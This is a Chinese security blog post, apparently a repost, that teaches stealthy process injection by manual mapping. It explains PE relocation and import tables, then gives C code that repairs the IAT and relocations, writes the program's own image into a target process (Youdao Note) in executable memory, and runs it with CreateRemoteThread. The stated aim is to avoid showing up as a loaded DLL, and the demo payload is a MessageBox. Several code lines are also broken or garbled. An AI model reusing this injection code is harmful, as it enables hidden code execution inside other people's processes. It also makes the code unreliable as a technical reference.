实战 | 内存写入技术的思路和研究

渗透技巧 2年前 (2021) admin
1,081 0 0

前言

我们使用一般的注入方式如全局钩子注入、远程线程注入等注入dll到一个程序里面,因为使用了GetProcAddress得到LoadLibrary的地址,用LoadLibrary的地址加载了我们自己的dll,所以在导入表里面能够看到dll,如下所示

这里我注入一个dll到有道云笔记里面

实战 | 内存写入技术的思路和研究

使用Proc查看dll是能够清楚的看到的

实战 | 内存写入技术的思路和研究

那么有没有一种技术能够更加隐蔽的注入dll呢,这里我们就可以自己申请内存写入shellcode,使用到内存写入技术

基础知识

重定位表

重定位表(Relocation Table)用于在程序加载到内存中时,进行内存地址的修正。为什么要进行内存地址的修正?我们举个例子来说:test.exe可执行程序需要三个动态链接库dll(a.dll,b.dll,c.dll),假设test.exe的ImageBase为400000H,而a.dll、b.dll、c.dll的基址ImageBase均为1000000H。

那么操作系统的加载程序在将test.exe加载进内存时,直接复制其程序到400000H开始的虚拟内存中,接着一一加载a.dll、b.dll、c.dll:假设先加载a.dll,如果test.exe的ImageBase + SizeOfImage + 1000H不大于1000000H,则a.dll直接复制到1000000H开始的内存中;当b.dll加载时,虽然其基址也为1000000H,但是由于1000000H已经被a.dll占用,则b.dll需要重新分配基址,比如加载程序经过计算将其分配到1200000H的地址,c.dll同样经过计算将其加载到150000H的地址。如下图所示:

实战 | 内存写入技术的思路和研究

但是b.dll和c.dll中有些地址是根据ImageBase固定的,被写死了的,而且是绝对地址不是相对偏移地址。比如b.dll中存在一个call 0X01034560,这是一个绝对地址,其相对于ImageBase的地址为δ = 0X01034560 – 0X01000000 = 0X34560H;而此时的内存中b.dll存在的地址是1200000H开始的内存,加载器分配的ImageBase和b.dll中原来默认的ImageBase(1000000H)相差了200000H,因此该call的值也应该加上这个差值,被修正为0X01234560H,那么δ = 0X01234560H – 0X01200000H = 0X34560H则相对不变。否则call的地址不修正会导致call指令跳转的地址不是实际要跳转的地址,获取不到正确的函数指令,程序则不能正常运行。

由于一个dll中的需要修正的地址不止一两个,可能有很多,所以用一张表记录那些“写死”的地址,将来加载进内存时,可能需要一一修正,这张表称作为重定位表,一般每一个PE文件都有一个重定位表。当加载器加载程序时,如果加载器为某PE(.exe、.dll)分配的基址与其自身默认记录的ImageBase不相同,那么该程序文件加载完毕后就需要修正重定位表中的所有需要修正的地址。如果加载器分配的基址和该程序文件中记录默认的ImageBase相同,则不需要修正,重定位表对于该dll也是没有效用的。比如test.exe和a.dll的重定位表都是不起作用的(由于一般情况.exe运行时被第一个加载,所以exe文件一般没有重定位表,但是不代表所有exe都没有重定位表)。同理如果先加载b.dll后加载a.dll、c.dll,那么b.dll的重定位表就不起作用了。

PE结构

PE文件大致可以分为两部分,即数据管理结构及数据部分。数据管理结构包含:DOS头、PE头、节表。数据部分包括节表数据(节表数据是包含着代码、数据等内容)。

实战 | 内存写入技术的思路和研究

1.DOS头

DOS头分为两个部分,分别是MZ头及DOS存根,MZ头是真正的DOS头部,它的结构被定义为IMAGE_DOS_HEADER。DOS存根是一段简单程序,主要是用于兼容DOS程序,当不兼容DOS程序时,输出:”this program cannot be run in DOS mode”。

2.PE头

PE头分为三个部分,分别是PE标识(IMAGE_NT_SIGNATRUE)、文件头(/images/hook技术/image_FILE_HEADER)、可选头(IMAHE_OPTION_HEADER)。PE头是固定不变的,位于DOS头部中e_ifanew字段指出位置。

3.节表

程序中组织按照不同属性存在不同的节中,如果PE中文件头的NumberOfSections值中有N个节,那么节表就是由N个节表(IMAGE_SECTION_HEADER)组成。节表主要是存储了何种借的属性、文件位置、内存位置等。位置紧跟PE头后。

4.节表数据

PE文件真正程序部分的存储位置,有几个节表就有几个节表数据,根据节表的属性、地址等信息,程序的程序就分布在节表的指定位置。位置紧跟节表后。

导入表

在了解IAT表之前,需要知道PE数据目录项的第二个结构 — 导入表

实战 | 内存写入技术的思路和研究

由于导入函数就是被程序调用但其执行代码又不在程序中的函数,这些函数的代码位于一个或者多个DLL 中。当PE 文件被装入内存的时候,Windows 装载器才将DLL 装入,并将调用导入函数的指令和函数实际所处的地址联系起来(动态连接),这操作就需要导入表完成,其中导入地址表就指示函数实际地址。

导入表是一个结构体,如下所示

typedef struct _IMAGE_DATA_DIRECTORY {    DWORD   VirtualAddress;    DWORD   Size;} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

这里VirtualAddress为导入表的RVA(PE文件在内存中会拉伸,拉伸后的文件偏移地址称为RVA,原来的文件偏移地址称为FOA,计算公式为FOA = 导入RVA表地址 - 虚拟偏移 + 实际偏移),Size为导入表的大小。但是上面的解雇姿势说明导入表在哪里、有多大,并不是真正的导入表。VirtualAddress中存储的是RVA,如果要在FileBuffer中定位,需要将RVA转换成FOA,即内存偏移->文件偏移,通过转换过后才能得到真正的导入表,结构如下

typedef struct _IMAGE_IMPORT_DESCRIPTOR {    union {        DWORD   Characteristics;                DWORD   OriginalFirstThunk;     //RVA 指向IMAGE_THUNK_DATA结构数组(即INT表)        };    DWORD   TimeDateStamp;              //时间戳       DWORD   ForwarderChain;                         DWORD   Name;                       //RVA,指向dll名字,该名字已0结尾                       DWORD   FirstThunk;                 //RVA,指向IMAGE_THUNK_DATA结构数组(即IAT表)         } IMAGE_IMPORT_DESCRIPTOR;                          typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;

IAT表

到真正的导入表这个地方,又涉及到两个表,即INT表(Import Name Table)和IAT(Import Address Table),很明显这里一个表是存储名称,一个表是存储地址的。这里又有一个注意的地方,就是在加载之前INT、IAT表里面存放的都是函数的名称并指向IMAGE_IMPORT_BY_NAME结构,如下图所示

实战 | 内存写入技术的思路和研究

在PE文件加载到内存后,INT表的内容和指向的结构都不变,但是IAT表存放的就是函数的地址,也不指向IMAGE_IMPORT_BY_NAME结构了,如下所示

实战 | 内存写入技术的思路和研究

实现过程

那么要进行写入肯定需要修复重定位表跟IAT表,因为在默认情况下exe的ImageBase为0x400000,但是可能占不到0x400000这个位置,那么就需要修复重定位表来修改一些全局变量的指向。

也许有人有这样的疑问,重定位表中已经包含了IAT表的地址,修复重定位表也就是修复了IAT表的地址,问题在于修复的是IAT表的地址,我们知道IAT表里存的是一个地址,地址里面的值才是正在的函数地址,函数地址的值是在运行的时候才会确定下来(这也与重定位有关),而我们运行时系统给我们写的函数地址的值,并不是基于我们希望的那个位置写的,我们希望的位置是在被写入进程中创建空间的首地址,所以这个代码应该在被写入的进程中执行。

首先编写修复IAT表的代码,这里看下IAT表的结构

typedef struct _IMAGE_IMPORT_BY_NAME {                        WORD    Hint;                        BYTE    Name[1];                    } IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;

在IAT表里面有两种方式,一种是以序号导入,一种是以名字导入

实战 | 内存写入技术的思路和研究

这里就直接贴修复IAT表的代码了,解释起来有点困难,如果没有基础的师傅请自行百度

DWORD WINAPI FixIATTable(LPVOID ImageBase){    PIMAGE_DOS_HEADER pDosHeader = NULL;    PIMAGE_NT_HEADERS pNTHeader = NULL;    PIMAGE_FILE_HEADER pPEHeader = NULL;    PIMAGE_OPTIONAL_HEADER32 pOptionHeader = NULL;    PIMAGE_SECTION_HEADER pSectionHeader = NULL;    PIMAGE_IMPORT_DESCRIPTOR pIMPORT_DESCRIPTOR = NULL;    PIMAGE_IMPORT_BY_NAME pImage_IMPORT_BY_NAME = NULL;    PDWORD OriginalFirstThunk = NULL;    PDWORD FirstThunk = NULL;    PIMAGE_THUNK_DATA pImageThunkData = NULL;    DWORD Original = 0;    pDosHeader = (PIMAGE_DOS_HEADER)ImageBase;    pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)ImageBase + pDosHeader->e_lfanew);    pPEHeader = (PIMAGE_FILE_HEADER)((DWORD)pNTHeader + 4);    pOptionHeader = (PIMAGE_OPTIONAL_HEADER32)((DWORD)pPEHeader + IMAGE_SIZEOF_FILE_HEADER);    //导入表相关信息占20个字节    pIMPORT_DESCRIPTOR = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)ImageBase + pOptionHeader->DataDirectory[1].VirtualAddress);    DWORD dwFuncAddr = 0;    HMODULE hModule;    TCHAR Buffer[100] = {0};    while (pIMPORT_DESCRIPTOR->FirstThunk && pIMPORT_DESCRIPTOR->OriginalFirstThunk)     {        const char* pModuleAddr = (const char*)((DWORD)ImageBase + (DWORD)pIMPORT_DESCRIPTOR->Name);        mbstowcs(Buffer, pModuleAddr, 100);        hModule = LoadLibrary(Buffer);        printf("%s", (LPCWCHAR)((DWORD)ImageBase + (DWORD)pIMPORT_DESCRIPTOR->Name));        if (hModule == NULL)        {            printf("hModule error is:%d",::GetLastError());            return 0;        }                // FirstThunk 指向 IMAGE_THUNK_DATA 结构数组        OriginalFirstThunk = (PDWORD)((DWORD)ImageBase + (DWORD)pIMPORT_DESCRIPTOR->OriginalFirstThunk);        FirstThunk = (PDWORD)((DWORD)ImageBase + (DWORD)pIMPORT_DESCRIPTOR->FirstThunk);        while (*OriginalFirstThunk)         {            if (*OriginalFirstThunk & 0x80000000)             {                //高位为1 则 除去最高位的值就是函数的导出序号                                //去除最高标志位                Original = *OriginalFirstThunk & 0xFFF;                    dwFuncAddr = (DWORD)GetProcAddress(hModule, (PCHAR)Original);            }            else            {                //高位不为1 则指向IMAGE_IMPORT_BY_NAME;                pImage_IMPORT_BY_NAME = (PIMAGE_IMPORT_BY_NAME)((DWORD)ImageBase + *OriginalFirstThunk);                dwFuncAddr = (DWORD)GetProcAddress(hModule, (PCHAR)pImage_IMPORT_BY_NAME->Name);            }            *FirstThunk = dwFuncAddr;            OriginalFirstThunk++;        }        pIMPORT_DESCRIPTOR++;    }    return 1;}

再就是修复重定位表,首先看下重定位表,位于数据目录项的第六个结构

typedef struct _IMAGE_DATA_DIRECTORY {    DWORD   VirtualAddress;    DWORD   Size;} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

VirtualAddress为重定位表的RVA,Size为重定位表的大小

上面的结构只是说明重定位表在哪里、有多大,并不是真正的重定位表

VirtualAddress中存储的是RVA,如果要在FileBuffer中定位,需要将RVA转换成FOA,即内存偏移->文件偏移

真正的重定位表的结构如下:

typedef struct _IMAGE_BASE_RELOCATION {    DWORD   VirtualAddress;    DWORD   SizeOfBlock;} IMAGE_BASE_RELOCATION;typedef IMAGE_BASE_RELOCATION ,* PIMAGE_BASE_RELOCATION;

一般情况下,EXE都是可以按照ImageBase的地址进行加载的。因为Exe拥有自己独立的4GB 的虚拟内存空间。但DLL 不是,DLL是有EXE使用它,才加载到相关EXE的进程空间的。为了提高搜索的速度,模块间地址也是要对齐的 模块地址对齐为10000H 也就是64K。

实战 | 内存写入技术的思路和研究

重定位表的具体解析如图所示

!

实战 | 内存写入技术的思路和研究

根据解析编写重定位表的代码如下

 PIMAGE_BASE_RELOCATION pRelocationDirectory = (PIMAGE_BASE_RELOCATION)((DWORD)pAddr + GetRelocAddr(pAddr));    while (pRelocationDirectory->SizeOfBlock != 0 && pRelocationDirectory->VirtualAddress != 0)     {        DWORD sizeOfWord = (pRelocationDirectory->SizeOfBlock - 8) / 2;        PWORD pWord = (PWORD)((DWORD)pRelocationDirectory + 8);        for (int i = 0; i < sizeOfWord; i++)        {            if (*pWord >> 12 != 0)            {                PDWORD offsetAddr = (PDWORD)(pRelocationDirectory->VirtualAddress + (*pWord & 0xFFF) + (DWORD)pAddr);                *offsetAddr = *offsetAddr + (DWORD)pExAddr - GetImageBase(win32/imagebase);                pWord++;                continue;            }            pWord++;        }        pRelocationDirectory = (PIMAGE_BASE_RELOCATION)((DWORD)pRelocationDirectory + pRelocationDirectory->SizeOfBlock);    }

然后就是主函数的编写,首先获取当前进程的路径

::GetModuleFileName(NULL, path, MAX_PATH);

再获取模块基址

HMODULE imagebase = ::GetModuleHandle(NULL);

通过PE头获取SizeOfImage参数

_size = pOptionHeader->SizeOfImage;

使用VirtualAlloc申请空间

pAddr = VirtualAlloc(NULL, _size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

打开要注入的进程

hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _getProcessPid(ProcessName));

使用VirtualAllocEx申请内存

pExAddr = ::VirtualAllocEx(hprocess, NULL, _size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

然后再修复重定位表和IAT表

DWORD FixNewIATTable = (DWORD)FixIATTable  + (DWORD)pAddr - (DWORD)imagebase;

创建远程线程并等待消息返回,关闭句柄

hThread = ::CreateRemoteThread(hprocess, NULL, 0, (LPTHREAD_START_ROUTINE)FixNewIATTable, pAddr, 0, NULL);WaitForSingleObject(hThread, -1);CloseHandle(hThread);

注入函数的完整代码如下

VOID inject(LPCWSTR InjetName){    //获取要注入的进程    WCHAR ProcessName[] = TEXT("YoudaoNote.exe");    DWORD dwPid = GetPid(ProcessName);    if (dwPid == 0)     {        printf("[!] GetPID failed,error is : %dnn", GetLastError());        return 0;    }    else    {        printf("[*] GetPID successfully!nn");    }    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, dwPid);    if (hProcess == NULL)     {        printf("[!] OpenProcess failed,error is : %dnn", GetLastError());        return 0;    }    else    {        printf("[*] OpenProcess successfully!nn");    }    //获取loadlibrary和GetProcAddress的函数地址    HMODULE hKernel32 = LoadLibrary(TEXT("Kernel32.dll"));    MyLoadlibrary = (pLoadLibrary)GetProcAddress(hKernel32, "LoadLibraryA");    pMyGetAddress = (pGetProcAddress)GetProcAddress(hKernel32, "GetProcAddress");    //获取函数偏移    DWORD CurrentImageBase = (DWORD)GetModuleHandle(NULL);    DWORD dwTemp = (DWORD)ThreadProc;    //修正地址    if (*((char*)dwTemp) == (char)0xE9)     {        dwTemp = dwTemp + *((PDWORD)(dwTemp + 1)) + 5;    }    DWORD pFun = dwTemp - CurrentImageBase;        LPVOID pImageBuff = LoadImageBuffSelf();    //在要注入的程序申请空间    DWORD SizeofImage = GetSizeOfImage(pImageBuff);    DWORD ImageBase = GetImageBase(pImageBuff);    LPVOID pAlloc = NULL;    for (DWORD i = 0; pAlloc == NULL; i += 0x10000)    {        pAlloc = VirtualAllocEx(hProcess, (LPVOID)(ImageBase + i), SizeofImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    }    if ((DWORD)pAlloc != ImageBase)     {        //修复重定向表        ChangeImageBase(pImageBuff, (DWORD)pAlloc);        printf("[*] ChangeImageBase successfully!nn");    }    //写入进程    if (WriteProcessMemory(hProcess, pAlloc, pImageBuff, SizeofImage, NULL) == false)     {        printf("[!] WriteProcessMemory failed,error is : %dnn", GetLastError());        return 0;    }    else    {        printf("[*] WriteProcessMemory successfully!nn");    }    //创建远程线程    if (NULL == CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD)pAlloc + pFun), (LPVOID)(pAlloc), 0, NULL))    {        printf("[!] CreateRemoteThread failed,error is : %dnn", GetLastError());        return 0;    }    else    {        printf("[*] CreateRemoteThread successfully!nn");    }     printf("[*] WriteProcessMemory successfully!nn");}

实现效果

这里选择注入的程序是有道云

实战 | 内存写入技术的思路和研究

效果的话就是每隔一秒中弹窗内存写入的MessageBox

实战 | 内存写入技术的思路和研究

运行程序注入成功,首先弹一个MessageBox的框

实战 | 内存写入技术的思路和研究

再每隔一秒钟弹一个内存写入的框,证明内存写入成功

实战 | 内存写入技术的思路和研究

实战 | 内存写入技术的思路和研究


推荐阅读


实战 | 进程伪装的思路和研究


实战 | 通过VEH异常处理规避内存扫描实现免杀


实战 | DLL劫持思路和研究


实战 | BypassUAC的研究和思路


点赞    在看    评论


实战 | 内存写入技术的思路和研究


原文始发于微信公众号(HACK学习呀):实战 | 内存写入技术的思路和研究

版权声明:admin 发表于 2021年11月4日 上午1:30。
转载请注明:实战 | 内存写入技术的思路和研究 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...